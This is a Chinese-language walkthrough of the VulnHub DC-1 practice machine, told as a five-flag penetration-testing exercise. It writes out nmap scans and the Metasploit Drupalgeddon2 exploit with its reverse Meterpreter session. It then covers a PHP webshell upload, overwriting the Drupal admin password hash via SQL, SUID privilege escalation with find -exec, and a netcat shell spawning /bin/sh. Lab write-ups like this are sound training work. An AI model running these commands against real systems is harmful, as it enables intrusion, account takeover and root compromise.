靶机渗透记录—DC-1

靶机渗透记录—DC-1

下载地址

https://www.vulnhub.com/entry/dc-1,292/

靶机描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
Description

DC-1 is a purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing.

It was designed to be a challenge for beginners, but just how easy it is will depend on your skills and knowledge, and your ability to learn.

To successfully complete this challenge, you will require Linux skills, familiarity with the Linux command line and experience with basic penetration testing tools, such as the tools that can be found on Kali Linux, or Parrot Security OS.

There are multiple ways of gaining root, however, I have included some flags which contain clues for beginners.

There are five flags in total, but the ultimate goal is to find and read the flag in root's home directory. You don't even need to be root to do this, however, you will require root privileges.

Depending on your skill level, you may be able to skip finding most of these flags and go straight for root.

Beginners may encounter challenges that they have never come across previously, but a Google search should be all that is required to obtain the information required to complete this challenge.

翻译:

描述

DC-1是一个专门构建的易受攻击的实验室,目的是获得渗透测试领域的经验。

它的设计初学者是一个挑战,但是它的难易程度取决于您的技能和知识以及学习能力。

要成功完成此挑战,您需要具备Linux技能,熟悉Linux命令行并具有基本渗透测试工具的经验,例如可以在Kali Linux或Parrot Security OS上找到的工具。

有多种获得根的方法,但是,我包括了一些标志,这些标志包含了初学者的线索。

总共有五个flag,但是最终目标是在root的主目录中找到并读取该标志。您甚至不需要成为root用户即可执行此操作,但是,您将需要root特权。

根据您的技能水平,您可能可以跳过查找大多数这些标志并直接获得root资格。

初学者可能会遇到以前从未遇到过的挑战,但是Google搜索应该是获得完成此挑战所需信息所需要的全部。

打开靶机

信息搜集

然后切换到攻击机 先去做信息搜集 扫描一下同网段内存活的主机

1
nmap -sP -n 192.168.191.0/24

扫到了一个192.168.191.132

探测一下

1
nmap -sS -sV -Pn -n 192.168.191.132

在加个版本探测

1
nmap -sS -sV -A -Pn -n -p- 192.168.191.132

探测到了22 80 111端口

80端口是web服务 使用的是Drupal 7内容管理框架 一会可以直接去查一下这个cms的漏洞

先去访问一下web服务看一下

有登录有注册 功能很丰富

Msf Getshell

去msf查一下看有没有相关的漏洞

search drupal

最新的一个是2019-02-20Drupal RESTful Web Services unserialize() RCE

去百度一下这个用法 发现这个用法主要是针对8.6.x的

再去看看2018-03-28的那个exp 发现他正是针对Drupal 7的

那么来利用一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
msf5 exploit(unix/webapp/drupal_restws_unserialize) > use  exploit/unix/webapp/drupal_drupalgeddon2
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > show options

Module options (exploit/unix/webapp/drupal_drupalgeddon2):

Name Current Setting Required Description
---- --------------- -------- -----------
DUMP_OUTPUT false no Dump payload command output
PHP_FUNC passthru yes PHP function to execute
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Path to Drupal install
VHOST no HTTP server virtual host


Exploit target:

Id Name
-- ----
0 Automatic (PHP In-Memory)


msf5 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.191.132
rhosts => 192.168.191.132
msf5 exploit(unix/webapp/drupal_drupalgeddon2) > run

[*] Started reverse TCP handler on 192.168.191.128:4444
[*] Sending stage (38288 bytes) to 192.168.191.132
[*] Meterpreter session 1 opened (192.168.191.128:4444 -> 192.168.191.132:58489) at 2020-04-23 09:07:24 +0800

返回了一个session 利用成功了

查看一下根目录文件 看到第一个flag

老规矩 先上一个大马

1
2
3
4
5
6
meterpreter > pwd
/var/www
meterpreter > upload /home/x.php /var/www/x.php
[*] uploading : /home/x.php -> /var/www/x.php
[*] Uploaded -1.00 B of 85.50 KiB (-0.0%): /home/x.php -> /var/www/x.php
[*] uploaded : /home/x.php -> /var/www/x.php

直接在根目录传上去了

第一个FLAG

看看第一个flag内容

第二个FLAG

提示每一个好的cms都有一个配置文件

那flag2应该就在当前目录下

用grep命令查询一下字符串

grep -rn "flag2" *

* : 表示当前目录所有文件,也可以是某个文件名

-r 是递归查找

-n 是显示行号

查询当前目录下带有flag2字符串的文件

在sites/default/settings.php里的第五行

翻译过来是

暴力和字典攻击并不是获得访问权限的唯一方法(而且您需要访问权限)。

你能用这些证件做什么?

第三个FLAG

flag2后面还有数据库配置信息

根据配置信息用大马连接一下

在users表里发现admin账号和密码 不过密码被加密了

image-20200423093509256

想到一个操作 我自己注册一个用户 把密码改成123456 看看对应的密文 然后把admin的进行替换

不妙开启了邮箱验证 没法注册了

百度:drupal 7 admin用户 找到了这个文章

https://www.cnblogs.com/ooooo/archive/2011/11/17/2252347.html

可以通过这种方式修改密码 我这里就直接拿他修改完的

1
password: 'ilovedrupal' hash: $S$Cv8Wnz0EiNg3Bi19w27wo.uITAX.dnYxbiMeYcSHIvC8TFLVdKB9

把这段密文放到数据库里去 在大马里直接修改

发现在图像化模式还改不了

执行以下命令

update users set pass="$S$Cv8Wnz0EiNg3Bi19w27wo.uITAX.dnYxbiMeYcSHIvC8TFLVdKB9" where uid=1;

然后去主页登录

admin:ilovedrupal

登陆五次失败 被封锁ip 和文章里的境遇一样 只需要在flood表中把自己ip删除就可以了

结果并没有成功 我还是自己去生成密码吧

1
php scripts/password-hash.sh ‘123456’ > new_pwd.txt

去数据库更改一下

update users set pass="$S$D9HhB.iBgU79snkBdA3SoU5fWCpoq.lwG4KI45dorpCrVcwfz5tU" where uid=1;

改了之后还是无法登录 我只能回msf 然后进入mysql看看了

在msf里获取一个交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

然后登陆mysql

修改密码

依然无法登录

继续百度

找到了这篇文章

http://drupalchina.cn/node/2128

恍然大悟 貌似是后面的密码不能加引号 欲哭无泪

重新生成密码并更改

update users set pass="$S$DdvYpYrfazNqZYgfFLyOpw7V.OkN3UpMvQ49Qxw56OhHYdb9T5N3" where uid=1;

登陆成功!!

第四个FLAG

flag3的内容翻译过来

特殊的perms将有助于find passwd,但您需要执行该命令来确定如何获取阴影中的内容。

先看一下 passwd

cat /etc/passwd

看到flag4用户 去他的文件夹找到了flag4.txt

内容翻译过来

您可以使用相同的方法在根目录中查找或访问标志吗?

可能。但也许不是那么容易。或许是这样?

第五个FLAG

flag3的线索还没有全部使用

特殊的perms将有助于find passwd,但您需要执行该命令来确定如何获取shadow中的内容。

这里想到了SUID提权

SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。

已知的可用来提权的linux可行性的文件列表如下:

  • nmap
  • vim
  • find
  • bash
  • more
  • less
  • nano
  • cp

参考文章:https://blog.csdn.net/qq_36119192/article/details/84872644

1
2
3
4
#以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;

发现find是具有root用户权限的SUID文件

/usr/bin/find examples.desktop -exec whoami \;

利用nc创建个shell

find test -exec netcat -lvp 8888 -e /bin/sh \;

再开一个终端直接连接 拿到最后一个flag

总结

1.信息搜集还是发挥了很大作用

2.遇到问题百度,在修改admin密码环节多亏了百度

3.suid提权是个好东西